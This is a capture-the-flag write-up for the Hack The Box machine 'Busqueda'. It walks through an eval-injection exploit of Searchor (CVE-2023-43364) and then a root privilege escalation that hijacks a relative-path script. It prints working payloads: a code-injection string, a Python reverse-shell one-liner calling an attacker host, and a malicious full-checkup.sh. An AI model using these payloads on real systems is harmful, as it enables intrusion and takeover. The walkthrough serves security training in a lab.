HTB: Busqueda
Information Gathering
As always, we begin with a comprehensive nmap scan to gather information about the machine.
1sudo nmap -sV -sC -oA report -p- $target -vv --min-rate 10000
The output is as follows:
1# Nmap 7.97 scan initiated Mon Jul 7 12:37:10 2025 as: nmap -sV -sC -oA report -p- -vv --min-rate 10000 10.129.228.217
2Increasing send delay for 10.129.228.217 from 0 to 5 due to 870 out of 2899 dropped probes since last increase.
3Increasing send delay for 10.129.228.217 from 5 to 10 due to 1820 out of 6065 dropped probes since last increase.
4Increasing send delay for 10.129.228.217 from 20 to 40 due to 496 out of 1651 dropped probes since last increase.
5Increasing send delay for 10.129.228.217 from 40 to 80 due to 903 out of 3009 dropped probes since last increase.
6Increasing send delay for 10.129.228.217 from 80 to 160 due to 789 out of 2628 dropped probes since last increase.
7Nmap scan report for searcher.htb (10.129.228.217)
8Host is up, received echo-reply ttl 63 (0.099s latency).
9Scanned at 2025-07-07 12:37:10 BST for 22s
10Not shown: 65533 closed tcp ports (reset)
11PORT STATE SERVICE REASON VERSION
1222/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
13| ssh-hostkey:
14| 256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
15| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIzAFurw3qLK4OEzrjFarOhWslRrQ3K/MDVL2opfXQLI+zYXSwqofxsf8v2MEZuIGj6540YrzldnPf8CTFSW2rk=
16| 256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
17|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPTtbUicaITwpKjAQWp8Dkq1glFodwroxhLwJo6hRBUK
1880/tcp open http syn-ack ttl 63 Apache httpd 2.4.52
19|_http-title: Searcher
20| http-methods:
21|_ Supported Methods: GET HEAD OPTIONS
22| http-server-header:
23| Apache/2.4.52 (Ubuntu)
24|_ Werkzeug/2.1.2 Python/3.10.6
25Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
26
27Read data files from: /opt/homebrew/bin/../share/nmap
28Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
29# Nmap done at Mon Jul 7 12:37:32 2025 -- 1 IP address (1 host up) scanned in 22.43 seconds
This already reveals to us that the intended route is to exploit the web server first, find credentials and login to the ssh server. Visiting the website, we see the following:
/etc/hosts linked to searcher.htb; The server automatically redirects to the same upon entering the IP Address
Interesting to note is the footer which shows the tech stack being used:

From the github description: Searchor is an all-in-one PyPi Python Library that simplifies web scraping, obtaining information on an topic, and generating search query URLs. Searchor is an a efficient tool for Python developers, with many web development needs in one, with support of over 100+ Engines and custom engines allowed, making it easy for developers to use for their web programming needs in Python without relying on many third-party dependencies. Furthermore, Searchor has a wide range of support, including command line interface and pip.
Searching on Google for vulnerabilities related to Searchor 2.4.0, we find the very interesting CVE-2023-43364, which tells us that Searchor < 2.4.2 use an eval statement in its code and the query we feed directly goes into the eval statement.
Looking at the PoC GitHub repository, we see that the vulnerable code is as follows:
1@click.argument("query")
2def search(engine, query, open, copy):
3 try:
4 url = eval( # <<< See here
5 f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
6 )
7 click.echo(url)
8 searchor.history.update(engine, query, url)
9 if open:
10 click.echo("opening browser...")
Already alarms are ringing off. eval() is a dangerous function that executes the string passed to it as Python code. This means that if we can control the query parameter, we can execute arbitrary commands on the server. Which we can.
Gaining Foothold
To exploit this vulnerability, craft a very specific payload string that will
- Close the string
- Do what we want it to do on the system (i.e. a reverse shell)
- Concatenate the first string, the system output and then the third empty string to close the eval statement.
The payload we will use, for testing first, is as follows:
1' + __import__('os').system('id') + '
This gives us:
1@click.argument("query")
2def search(engine, query, open, copy):
3 try:
4 url = eval( # <<< See here
5 f"Engine.{engine}.search('' + __import__('os').system('id') + '', copy_url={copy}, open_web={open})"
6 )
7 click.echo(url)
8 searchor.history.update(engine, query, url)
9 if open:
10 click.echo("opening browser...")
Which gives the output:

We now have Remote Code Execution (RCE) on the server. To get a reverse shell, we can use the following payload:
1
2' + __import__('os').system("""export RHOST="<IP ADDRESS>";export RPORT=<PORT>;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'""") + '
Website becomes stuck, and if you have a listener running with the right IP address and port in the payload, you will get a reverse shell.

Great! We now have a reverse shell. However, we are still a low privileged user. Now comes the difficult part: Privilege Escalation.
cd ~Privilege Escalation
Before we can do that, we need to know what user we are and what we can run as sudo.
whoami gives us:
1svc
Not very useful. Let’s check what we can run as sudo:
1sudo -l
And we quickly run into a problem. We don’t have a password and checking sudo -l requires password for even the lower privileged account.
Looking around, we see a scripts folder in /opt/scripts/. Inspecting the contents, we see a bunch of scripts that are execute only. We can’t read, write or execute without sudo.

These will come in handy later. For now, let’s look where we landed right after the reverse shell. pwd gives us /var/www/app and running ls -la gives us the following:

We see a .git folder. Very useful. Let’s look at the config file in the .git folder:
1cat .git/config
Which gives us a very useful piece of the puzzle:

We see that there’s a user called cody and a password attached to it. Just for kicks, let’s try sshing into this server with svc and the password we found in the .git/config file, and we see that it works!

Following this, we can now run sudo -l and see what we can run as sudo:

Great! Obviously, we can’t read the contents of the scripts so we have no way of understanding how to exploit them. But just for kicks, let’s try running the one script we can run as sudo:
1sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
This shows what arguments are allowed which are:
- docker-ps
- docker-inspect
- full-checkup
Running docker-ps gives us:

Running full-checkup gives us:
cd into /opt/scripts/ first, a clue to what’s coming
And after viewing the documentation for docker-inspect we craft the following command:
1sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' gitea | jq
The first part is what’s allowed to us. Second part is the what we want to see and the format, third part is the container name. The command after the pipe formats the output to be more readable. The output is as follows:

We see database credentials, which we can use to login to the gitea server. Looking back into .git/config file, we see that the gitea server is running on gitea.searcher.htb. So we can login to the gitea server using the credentials we found in the .git/config file as administrator.

Going over to the scripts repository, we see that they are the same scripts we saw in the /opt/scripts/ folder. We can now read the contents of the scripts and see what they do, and hopefully figure out how to exploit the scripts to get root.
Here’s the contents of the system-checkup.py script:
1#!/bin/bash
2import subprocess
3import sys
4
5actions = ['full-checkup', 'docker-ps','docker-inspect']
6
7def run_command(arg_list):
8 r = subprocess.run(arg_list, capture_output=True)
9 if r.stderr:
10 output = r.stderr.decode()
11 else:
12 output = r.stdout.decode()
13
14 return output
15
16
17def process_action(action):
18 if action == 'docker-inspect':
19 try:
20 _format = sys.argv[2]
21 if len(_format) == 0:
22 print(f"Format can't be empty")
23 exit(1)
24 container = sys.argv[3]
25 arg_list = ['docker', 'inspect', '--format', _format, container]
26 print(run_command(arg_list))
27
28 except IndexError:
29 print(f"Usage: {sys.argv[0]} docker-inspect <format> <container_name>")
30 exit(1)
31
32 except Exception as e:
33 print('Something went wrong')
34 exit(1)
35
36 elif action == 'docker-ps':
37 try:
38 arg_list = ['docker', 'ps']
39 print(run_command(arg_list))
40
41 except:
42 print('Something went wrong')
43 exit(1)
44
45 elif action == 'full-checkup':
46 try:
47 arg_list = ['./full-checkup.sh']
48 print(run_command(arg_list))
49 print('[+] Done!')
50 except:
51 print('Something went wrong')
52 exit(1)
53
54
55if __name__ == '__main__':
56
57 try:
58 action = sys.argv[1]
59 if action in actions:
60 process_action(action)
61 else:
62 raise IndexError
63
64 except IndexError:
65 print(f'Usage: {sys.argv[0]} <action> (arg1) (arg2)')
66 print('')
67 print(' docker-ps : List running docker containers')
68 print(' docker-inspect : Inpect a certain docker container')
69 print(' full-checkup : Run a full system checkup')
70 print('')
71 exit(1)
On first instinct, you may be tempted to mess with the subprocess.run(). However, it receives the commands we pass in the command line as a list, so we can’t inject anything there. However, looking at full-checkup, we see that it runs a script called full-checkup.sh. Even without looking at the contents of the script, we notice one very important thing. The script is specified using relative path (./), i.e relative to where we are at the time of running the script. This means that we can create a script with the same name as in the /opt/scripts/ folder and it will be executed instead of the original script.
This is the full-checkup.sh script that we will create in /home/svc:
1#!/bin/bash
2
3export RHOST="<IP ADDRESS>";export RPORT=<PORT>;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
If you have a netcat listener up and running, run
1sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
And you will get a reverse shell as root!

Conclusion
Overall a very fun machine that involves exploiting an eval statement. I’ll be completely honest, I did refer to the 0xdf write-up every once in a while when I got a stuck because of how green I am. But definitely a good learning machine, especially considering it’s on the TJNull list of machines, a must do for preparing for OSCP!